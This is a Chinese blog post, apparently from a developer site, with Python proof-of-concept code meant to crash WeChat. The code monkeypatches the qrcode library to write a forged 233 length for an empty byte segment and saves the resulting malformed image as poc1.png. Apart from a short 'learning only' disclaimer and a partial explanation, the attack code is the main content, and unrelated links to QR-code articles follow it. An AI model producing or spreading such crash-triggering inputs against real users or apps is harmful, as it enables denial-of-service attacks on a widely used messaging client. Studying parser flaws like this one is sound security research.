注:代码可能带有破坏性,仅用于学习,分析用途。

微信崩溃了?微信最新版二维码Bug,不知道问题在哪里。使用下面代码,轻松帮你复现。

安装qrcode

pip isntall qrcode
import qrcode
from qrcode.util import QRData, MODE_NUMBER, MODE_8BIT_BYTEdef nvwu_put(self, num, length):if num == 0:num = 233  # 制造一个伪造的长度for i in range(length):self.put_bit(((num >> (length - i - 1)) & 1) == 1)qrcode.util.BitBuffer.put = nvwu_putdef anquannvwu():qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)num_data = QRData('1145141', MODE_NUMBER)data = QRData(b'.', MODE_8BIT_BYTE)hack_data = QRData(b'', MODE_8BIT_BYTE)# 确保所有数据都适应这个版本的最大内容长度qr.add_data(num_data)qr.add_data(data)qr.add_data(num_data)qr.add_data(data)qr.add_data(num_data)qr.add_data(data)qr.add_data(num_data)# 添加一个零长度的数据,使得数据的长度为233qr.add_data(hack_data)img = qr.make_image()img.save("./poc1.png")if __name__ == "__main__":anquannvwu()

上面的代码做了以下工作:

  1. 创建一个新的QR码,纠错等级为M,掩码模式为0。

  2. 创建一个新的QR数据,字符串为’1145141’,模式为MODE_NUMBER。

  3. 创建一个新的QR数据,字符串为’.',模式为MODE_8BIT_BYTE。

  4. 创建一个新的QR数据,字符串为空,模式为MODE_8BIT_BYTE。

微信崩溃生成自己的二维码相关推荐

  1. 基于OpenJWeb平台的微信服务号开发培训-生成带参数二维码

    因为OpenJWeb平台已经集成了微信服务号接口,所以在OpenJWeb平台上开发微信服务号会起到事半功倍的作用.本文介绍如何使用微信公众号接口生成带参数二维码功能. 下面是开发及操作过程: (1)首 ...

  2. 微信公众平台----带参数二维码生成和扫描事件

    原文:微信公众平台----带参数二维码生成和扫描事件 摘要: 账号管理----生成带参数的二维码 消息管理----接收消息----接收事件推送 为了满足用户渠道推广分析和用户帐号绑定等场景的需要,公众 ...

  3. 微信小程序条码、二维码生成模块

    代码地址如下: http://www.demodashi.com/demo/13994.html 一.前期准备工作 软件环境:微信开发者工具 官方下载地址:https://mp.weixin.qq.c ...

  4. 微信公众平台开发(83) 生成带参数二维码

    本文介绍在微信公众平台上如何使用高级接口开发生成带参数二维码的功能. 一.场景二维码 为了满足用户渠道推广分析的需要,公众平台提供了生成带参数二维码的接口.使用该接口可以获得多个带不同场景值的二维码, ...

  5. 【微信小程序】接口生成自定义首页二维码

    1.背景 在原有小程序上开发了一个新的功能,需要整合首页.但是为了不影响原有业务,且能测试新功能.所以需要新生成一个二维码,用户扫描该二维码可以跳转到新功能的页面. 2.方法 2.1生成二维码的接口: ...

  6. 微信,支付宝,收款二维码实时生成订单监控,免签支,付支付系统,个人收款,收款二维码...

    微信,支付宝,收款二维码实时生成订单监控,免签支,付支付系统,个人收款,收款二维码 微信和支付宝个人支付二维码生成与监控!有PHP接口回调,个人收款好助手! 实现收款即时到个人微信或支付宝账户!方便安 ...

  7. Java 微信开发(四)生成带参数二维码及分享到朋友圈、好友、QQ

    微信公众号中的微信分享到朋友圈.分享到QQ.分享到好友功能都是可以帮助营销活动支持的,今天就说一下公众号生成带参数的二维码分享到朋友圈功能 根据微信公众号提供的开发者文档我们可以看出提供的有方法,我们 ...

  8. 微信公众号带参二维码的生成以及后台Java的处理

    1.生成带参二维码 有两种方式,一是通过微信公众平台来生成,二是通过java代码生成 一:微信平台生成 首先进入公众平台,找到接口权限进入 进入后找到获取access_tocken接口,获取acces ...

  9. 实例:用C#.NET手把手教你做微信公众号开发(11)--生成带参数二维码

    上一篇讲了普通关注的各种情景,接下来准备详细讲解带参数的二维码的应用实例.在下一篇详解之前,这里先介绍一下如何下载二维码.生成二维码表,为后续的应用做好准备. 为了满足用户渠道推广分析和用户帐号绑定等 ...

最新文章

  1. Android线程池简单使用
  2. 为什么现在的人越来越不幸福
  3. 谢百三:房价上涨的九大原因
  4. Framework中网络定位服务简介
  5. Django 基本使用及目录结构
  6. Apache 配置:是否显示文件列表
  7. awk教程入门与实例练习(三)
  8. php登陆项目,ThinkPHP6项目基操(14.实战部分 中间件处理登录流程)
  9. kafka是什么_技术面试官问:Kafka为什么速度那么快?
  10. 黄聪:解决wordpress定时发布文章失败”丢失计划任务”的插件
  11. 惠斯通电桥信号调理芯片_变频器通电后无反应,如何检查维修?
  12. 支付宝系统架构参考(架构图,最新揭秘)
  13. 如何用stata画莫兰散点图_图说meta十四:漏斗图暨Stata软件使用方法简介
  14. html打印文字不显示图片,word打印预览时候没问题但是打印出来时候有些文字却不显示...
  15. Matlab查找图像块在原图中的位置
  16. MDK5的watch窗口变量删除问题
  17. Arduino + RFID 读取 IC 卡 Arduino uno中获得RFID的UID 并通过串口转发RFID卡号
  18. SAP SD基础知识之主数据
  19. matlab 复数函数拟合,Matlab中实验数据【复数】的曲线拟合
  20. Qt QPlainTextEdit和QTextEdit区别

热门文章

  1. C# 连接 SqlServer 数据库
  2. xml格式的word文档空行的删除(js操作)
  3. java基础----IO-----第四天
  4. 实战打靶集锦-018-decoy
  5. WebView手机屏幕(图片适应屏幕的宽度)适配的多种方式
  6. 每日一练习——密码锁
  7. 内存卡提示:磁盘未被格式化如何解决?
  8. java aviator使用类_Aviator学习笔记
  9. git-分支创建合并于解决冲突
  10. 蓝桥杯国信长天单片机实战--复习